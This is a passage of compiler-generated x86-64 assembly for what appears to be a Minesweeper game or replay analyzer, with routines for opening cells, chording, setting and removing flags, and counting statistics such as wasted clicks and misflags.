jmp LBB29_8
LBB29_8:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _show_opening ## -- Begin function show_opening
.p2align 4, 0x90
_show_opening: ## @show_opening
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl $0, -16(%rbp)
movl $0, -8(%rbp)
LBB30_1: ## =>This Loop Header: Depth=1
## Child Loop BB30_3 Depth 2
movl -8(%rbp), %eax
movq _w@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB30_14
## %bb.2: ## in Loop: Header=BB30_1 Depth=1
movl $0, -12(%rbp)
LBB30_3: ## Parent Loop BB30_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB30_12
## %bb.4: ## in Loop: Header=BB30_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %eax
cmpl -4(%rbp), %eax
je LBB30_6
## %bb.5: ## in Loop: Header=BB30_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 8(%rax), %eax
cmpl -4(%rbp), %eax
jne LBB30_10
LBB30_6: ## in Loop: Header=BB30_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB30_9
## %bb.7: ## in Loop: Header=BB30_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
jne LBB30_9
## %bb.8: ## in Loop: Header=BB30_3 Depth=2
movl -8(%rbp), %edi
movl -12(%rbp), %esi
callq _show
LBB30_9: ## in Loop: Header=BB30_3 Depth=2
jmp LBB30_10
LBB30_10: ## in Loop: Header=BB30_3 Depth=2
jmp LBB30_11
LBB30_11: ## in Loop: Header=BB30_3 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB30_3
LBB30_12: ## in Loop: Header=BB30_1 Depth=1
jmp LBB30_13
LBB30_13: ## in Loop: Header=BB30_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB30_1
LBB30_14:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _do_open ## -- Begin function do_open
.p2align 4, 0x90
_do_open: ## @do_open
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
je LBB31_2
## %bb.1:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $1, 36(%rax)
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.9(%rip), %rsi
movb $0, %al
callq _fprintf
callq _fail
jmp LBB31_10
LBB31_2:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
jne LBB31_4
## %bb.3:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %edi
callq _show_opening
callq _check_win
jmp LBB31_9
LBB31_4:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _show
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB31_8
## %bb.5:
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movslq 12(%rax), %rdx
movq _size_isls@GOTPCREL(%rip), %rax
movl (%rax,%rdx,4), %eax
addl $-1, %eax
movq _size_isls@GOTPCREL(%rip), %rcx
movl %eax, (%rcx,%rdx,4)
cmpl $0, %eax
jne LBB31_7
## %bb.6:
movq _solved_isls@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _solved_isls@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB31_7:
callq _check_win
LBB31_8:
jmp LBB31_9
LBB31_9:
jmp LBB31_10
LBB31_10:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _flags_around ## -- Begin function flags_around
.p2align 4, 0x90
_flags_around: ## @flags_around
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl $0, -20(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -12(%rbp)
LBB32_1: ## =>This Loop Header: Depth=1
## Child Loop BB32_3 Depth 2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB32_10
## %bb.2: ## in Loop: Header=BB32_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -16(%rbp)
LBB32_3: ## Parent Loop BB32_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB32_8
## %bb.4: ## in Loop: Header=BB32_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -16(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -12(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
je LBB32_6
## %bb.5: ## in Loop: Header=BB32_3 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
LBB32_6: ## in Loop: Header=BB32_3 Depth=2
jmp LBB32_7
LBB32_7: ## in Loop: Header=BB32_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB32_3
LBB32_8: ## in Loop: Header=BB32_1 Depth=1
jmp LBB32_9
LBB32_9: ## in Loop: Header=BB32_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB32_1
LBB32_10:
movl -20(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _do_chord ## -- Begin function do_chord
.p2align 4, 0x90
_do_chord: ## @do_chord
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl %edx, -12(%rbp)
movl $1, -16(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 16(%rax), %eax
movl %eax, -28(%rbp) ## 4-byte Spill
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _flags_around
movl %eax, %ecx
movl -28(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
jne LBB33_33
## %bb.1:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
je LBB33_33
## %bb.2:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -20(%rbp)
LBB33_3: ## =>This Loop Header: Depth=1
## Child Loop BB33_5 Depth 2
movl -20(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB33_13
## %bb.4: ## in Loop: Header=BB33_3 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -24(%rbp)
LBB33_5: ## Parent Loop BB33_3 Depth=1
## => This Inner Loop Header: Depth=2
movl -24(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB33_11
## %bb.6: ## in Loop: Header=BB33_5 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -24(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -20(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
je LBB33_9
## %bb.7: ## in Loop: Header=BB33_5 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -24(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -20(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
jne LBB33_9
## %bb.8: ## in Loop: Header=BB33_5 Depth=2
callq _fail
LBB33_9: ## in Loop: Header=BB33_5 Depth=2
jmp LBB33_10
LBB33_10: ## in Loop: Header=BB33_5 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB33_5
LBB33_11: ## in Loop: Header=BB33_3 Depth=1
jmp LBB33_12
LBB33_12: ## in Loop: Header=BB33_3 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB33_3
LBB33_13:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -20(%rbp)
LBB33_14: ## =>This Loop Header: Depth=1
## Child Loop BB33_16 Depth 2
movl -20(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB33_28
## %bb.15: ## in Loop: Header=BB33_14 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -24(%rbp)
LBB33_16: ## Parent Loop BB33_14 Depth=1
## => This Inner Loop Header: Depth=2
movl -24(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB33_26
## %bb.17: ## in Loop: Header=BB33_16 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -24(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -20(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB33_20
## %bb.18: ## in Loop: Header=BB33_16 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -24(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -20(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
jne LBB33_20
## %bb.19: ## in Loop: Header=BB33_16 Depth=2
movl -24(%rbp), %edi
movl -20(%rbp), %esi
callq _do_open
movl $0, -16(%rbp)
jmp LBB33_24
LBB33_20: ## in Loop: Header=BB33_16 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -24(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -20(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
je LBB33_23
## %bb.21: ## in Loop: Header=BB33_16 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -24(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -20(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 44(%rax)
je LBB33_23
## %bb.22: ## in Loop: Header=BB33_16 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -24(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -20(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 44(%rax)
movq _wasted_flags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $-1, %ecx
movq _wasted_flags@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB33_23: ## in Loop: Header=BB33_16 Depth=2
jmp LBB33_24
LBB33_24: ## in Loop: Header=BB33_16 Depth=2
jmp LBB33_25
LBB33_25: ## in Loop: Header=BB33_16 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB33_16
LBB33_26: ## in Loop: Header=BB33_14 Depth=1
jmp LBB33_27
LBB33_27: ## in Loop: Header=BB33_14 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB33_14
LBB33_28:
cmpl $0, -16(%rbp)
je LBB33_32
## %bb.29:
movq _wasted_d_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _wasted_d_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
cmpl $0, -12(%rbp)
je LBB33_31
## %bb.30:
movq _wasted_clicks_15@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _wasted_clicks_15@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB33_31:
jmp LBB33_32
LBB33_32:
jmp LBB33_36
LBB33_33:
movl -4(%rbp), %edi
movl -8(%rbp), %esi
callq _pop_around
movq _wasted_d_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _wasted_d_clicks@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
cmpl $0, -12(%rbp)
je LBB33_35
## %bb.34:
movq _wasted_clicks_15@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _wasted_clicks_15@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB33_35:
jmp LBB33_36
LBB33_36:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _do_set_flag ## -- Begin function do_set_flag
.p2align 4, 0x90
_do_set_flag: ## @do_set_flag
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $1, 44(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $1, 40(%rax)
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.10(%rip), %rsi
movb $0, %al
callq _fprintf
movq _flags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _flags@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _wasted_flags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _wasted_flags@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB34_2
## %bb.1:
movq _misflags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _misflags@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB34_2:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _do_question ## -- Begin function do_question
.p2align 4, 0x90
_do_question: ## @do_question
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $1, 48(%rax)
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.11(%rip), %rsi
movb $0, %al
callq _fprintf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _do_unset_flag ## -- Begin function do_unset_flag
.p2align 4, 0x90
_do_unset_flag: ## @do_unset_flag
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 48(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $0, 40(%rax)
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.12(%rip), %rsi
movb $0, %al
callq _fprintf
movq _flags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $-1, %ecx
movq _flags@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _unflags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _unflags@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB36_2
## %bb.1:
movq _misunflags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _misunflags@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB36_2:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _do_flag_around ## -- Begin function do_flag_around
.p2align 4, 0x90
_do_flag_around: ## @do_flag_around
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -12(%rbp)
LBB37_1: ## =>This Loop Header: Depth=1
## Child Loop BB37_3 Depth 2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB37_11
## %bb.2: ## in Loop: Header=BB37_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -16(%rbp)
LBB37_3: ## Parent Loop BB37_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB37_9
## %bb.4: ## in Loop: Header=BB37_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -16(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -12(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
jne LBB37_7
## %bb.5: ## in Loop: Header=BB37_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -16(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -12(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB37_7
## %bb.6: ## in Loop: Header=BB37_3 Depth=2
movl -16(%rbp), %edi
movl -12(%rbp), %esi
callq _do_set_flag
LBB37_7: ## in Loop: Header=BB37_3 Depth=2
jmp LBB37_8
LBB37_8: ## in Loop: Header=BB37_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB37_3
LBB37_9: ## in Loop: Header=BB37_1 Depth=1
jmp LBB37_10
LBB37_10: ## in Loop: Header=BB37_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB37_1
LBB37_11:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _closed_sq_around ## -- Begin function closed_sq_around
.p2align 4, 0x90
_closed_sq_around: ## @closed_sq_around
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl $0, -20(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -12(%rbp)
LBB38_1: ## =>This Loop Header: Depth=1
## Child Loop BB38_3 Depth 2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB38_10
## %bb.2: ## in Loop: Header=BB38_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -16(%rbp)
LBB38_3: ## Parent Loop BB38_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB38_8
## %bb.4: ## in Loop: Header=BB38_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -16(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -12(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
